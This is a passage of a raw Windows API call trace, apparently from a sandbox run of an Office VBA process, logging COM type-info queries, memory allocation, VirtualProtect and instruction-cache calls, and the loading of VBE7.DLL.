ITypeInfo2:GetParamCustData (in: This=0xb9f7128, indexFunc=0x9, indexParam=0x1, GUID=0x7fee6094e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x23bd98 | out: pVarVal=0x23bd98*(varType=0x0, wReserved1=0xb6a, wReserved2=0x0, wReserved3=0x0, varVal1=0xba3c5f0, varVal2=0x23caa8)) returned 0x0 [0095.077] IUnknown:Release (This=0xb9f7128) returned 0x1 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee60840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x23be50 | out: ppvObject=0x23be50*=0xb9f7128) returned 0x0 [0095.078] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb9f7128, memid=1610612745, invkind=1, pFuncIndex=0x23be90 | out: pFuncIndex=0x23be90*=0x9) returned 0x0 [0095.078] ITypeInfo2:GetFuncCustData (in: This=0xb9f7128, index=0x9, GUID=0x7fee6093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x23bea8 | out: pVarVal=0x23bea8*(varType=0x0, wReserved1=0x23, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0 [0095.078] IUnknown:Release (This=0xb9f7128) returned 0x1 [0095.078] IUnknown:AddRef (This=0xb9f7180) returned 0x2 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23bd48 | out: ppvObject=0x23bd48*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23be08 | out: ppvObject=0x23be08*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6092aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23bce0 | out: ppvObject=0x23bce0*=0x0) returned 0x80004002 [0095.078] IUnknown:Release (This=0xb9f7180) returned 0x1 [0095.078] IUnknown:AddRef (This=0xb9f7128) returned 0x2 [0095.078] ITypeInfo:LocalReleaseFuncDesc (This=0xb9f7128) returned 0x0 [0095.078] IUnknown:Release (This=0xb9f7128) returned 0x1 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c118 | out: ppvObject=0x23c118*=0x0) returned 0x80004002 [0095.078] IUnknown:AddRef (This=0xb9f7128) returned 0x2 [0095.078] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c20f0, cb=0x40) returned 0xbb35eb0 [0095.078] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2120, cb=0x50) returned 0xbe54450 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c0a0 | out: ppvObject=0x23c0a0*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c070 | out: ppvObject=0x23c070*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c060 | out: ppvObject=0x23c060*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c068 | out: ppvObject=0x23c068*=0x0) returned 0x80004002 [0095.078] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9f7128, ppTypeAttr=0x23c098, pDummy=0x10 | out: ppTypeAttr=0x23c098, pDummy=0x10) returned 0x0 [0095.078] ITypeInfo:LocalReleaseTypeAttr (This=0xb9f7128) returned 0x0 [0095.078] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.078] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c288 | out: ppvObject=0x23c288*=0x0) returned 0x80004002 [0095.078] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c280 | out: ppvObject=0x23c280*=0x0) returned 0x80004002 [0095.078] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb9f7128, ppTLib=0x23bac0, pIndex=0x0 | out: ppTLib=0x23bac0*=0xb825960, pIndex=0x0) returned 0x0 [0095.079] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23bad0, pDummy=0x0 | out: ppTLibAttr=0x23bad0, pDummy=0x0) returned 0x0 [0095.079] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0095.079] IUnknown:Release (This=0xb825960) returned 0x7 [0095.079] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x23bac0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4f09fa0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4f09fa0*=0x5380) returned 0x0 [0095.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee60bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0095.079] strcpy_s (in: _Dst=0xb6873f8, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0095.079] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x23bac0, pbstrName=0x0, pwOrdinal=0x23bae0 | out: pBstrDllName=0x23bac0*=0x0, pbstrName=0x0, pwOrdinal=0x23bae0*=0xbd50) returned 0x0 [0095.079] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x23bac0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x23bac0, pwOrdinal=0x500000000) returned 0x0 [0095.079] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeaf450 [0095.079] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.079] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.079] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.079] GetCurrentProcess () returned 0xffffffffffffffff [0095.079] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x43) returned 1 [0095.079] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.080] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb9f7128, ppTLib=0x23bdf0, pIndex=0x0 | out: ppTLib=0x23bdf0*=0xb825960, pIndex=0x0) returned 0x0 [0095.080] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23be00, pDummy=0x0 | out: ppTLibAttr=0x23be00, pDummy=0x0) returned 0x0 [0095.080] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0095.080] IUnknown:Release (This=0xb825960) returned 0x7 [0095.080] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x23bdf0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4f09fa0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4f09fa0*=0x5380) returned 0x0 [0095.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee60bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0095.080] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x23bdf0, pbstrName=0x0, pwOrdinal=0x23be10 | out: pBstrDllName=0x23bdf0*=0x0, pbstrName=0x0, pwOrdinal=0x23be10*=0xc080) returned 0x0 [0095.080] ITypeInfo:RemoteGetDllEntry (in: This=0xb9f7128, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x23bdf0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x23bdf0, pwOrdinal=0x500000000) returned 0x0 [0095.081] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdacf60, cb=0x11a) returned 0xbdacf60 [0095.081] IMalloc:Free (This=0x7feffc15380, pv=0xbe53fd0) [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.081] GetCurrentProcess () returned 0xffffffffffffffff [0095.081] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.081] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.082] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.082] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.082] GetCurrentProcess () returned 0xffffffffffffffff [0095.082] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.083] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.083] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.083] GetCurrentProcess () returned 0xffffffffffffffff [0095.083] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.084] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.084] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.084] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.084] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.085] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.085] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.085] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.085] GetCurrentProcess () returned 0xffffffffffffffff [0095.085] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.086] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.086] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.086] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c20c | out: lpflOldProtect=0x23c20c*=0x40) returned 1 [0095.086] GetCurrentProcess () returned 0xffffffffffffffff [0095.086] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68737c, dwSize=0x4c) returned 1 [0095.086] RtlLookupFunctionEntry (in: ControlPc=0xb68737c, ImageBase=0x23c0f8, HistoryTable=0x23c100 | out: ImageBase=0x23c0f8, HistoryTable=0x23c100) returned 0x0 [0095.086] VirtualProtect (in: lpAddress=0xb68737c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c1fc | out: lpflOldProtect=0x23c1fc*=0x40) returned 1 [0095.086] RtlAddFunctionTable (FunctionTable=0xb6873d8, EntryCount=0x1, BaseAddress=0xb687300, TargetGp=0x23c1fc) returned 1 [0095.086] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.086] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0095.087] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5ce0000 [0095.087] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000b54) returned 1 [0095.087] SetErrorMode (uMode=0x8001) returned 0x8001 [0095.088] GetProcAddress (hModule=0x7fee5ce0000, lpProcName=0x258) returned 0x7fee5de4ee0 [0095.088] GetCurrentProcess () returned 0xffffffffffffffff [0095.088] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68746c, dwSize=0x43) returned 1 [0095.088] RtlLookupFunctionEntry (in: ControlPc=0xb68746c, ImageBase=0x23c098, HistoryTable=0x23c0a0 | out: ImageBase=0x23c098, HistoryTable=0x23c0a0) returned 0x0 [0095.088] VirtualProtect (in: lpAddress=0xb68746c, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x23c19c | out: lpflOldProtect=0x23c19c*=0x40) returned 1 [0095.089] RtlAddFunctionTable (FunctionTable=0xb6874bc, EntryCount=0x1, BaseAddress=0xb687400, TargetGp=0x23c19c) returned 1 [0095.089] IUnknown:AddRef (This=0xb901e68) returned 0x3 [0095.089] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c8 | out: ppvObject=0x23d5c8*=0x0) returned 0x80004002 [0095.089] IUnknown:QueryInterface (in: This=0xb901e68, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c0 | out: ppvObject=0x23d5c0*=0x0) returned 0x80004002 [0095.089] IUnknown:Release (This=0xb901e68) returned 0x2 [0095.089] IUnknown:AddRef (This=0xb901ec0) returned 0x6 [0095.089] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c8 | out: ppvObject=0x23d5c8*=0x0) returned 0x80004002 [0095.089] IUnknown:QueryInterface (in: This=0xb901ec0, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c0 | out: ppvObject=0x23d5c0*=0x0) returned 0x80004002 [0095.089] IUnknown:Release (This=0xb901ec0) returned 0x5 [0095.089] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.089] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c8 | out: ppvObject=0x23d5c8*=0x0) returned 0x80004002 [0095.089] IUnknown:QueryInterface (in: This=0xb901db8, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c0 | out: ppvObject=0x23d5c0*=0x0) returned 0x80004002 [0095.089] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.089] IUnknown:AddRef (This=0xb9f7128) returned 0x3 [0095.089] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c8 | out: ppvObject=0x23d5c8*=0x0) returned 0x80004002 [0095.089] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23d5c0 | out: ppvObject=0x23d5c0*=0x0) returned 0x80004002 [0095.089] IUnknown:Release (This=0xb9f7128) returned 0x2 [0095.089] GetAsyncKeyState (vKey=27) returned 0 [0095.090] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdad090 [0095.090] IMalloc:Realloc (This=0x7feffc15380, pv=0xb85b330, cb=0x400) returned 0xbc94840 [0095.091] IUnknown:AddRef (This=0xb901db8) returned 0x2 [0095.091] IUnknown:Release (This=0xb901db8) returned 0x1 [0095.091] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.091] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.091] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.091] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.091] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdad090, cb=0x9e) returned 0xbdad090 [0095.091] IMalloc:Free (This=0x7feffc15380, pv=0xbe54090) [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.091] GetCurrentProcess () returned 0xffffffffffffffff [0095.091] FlushInstructionCache 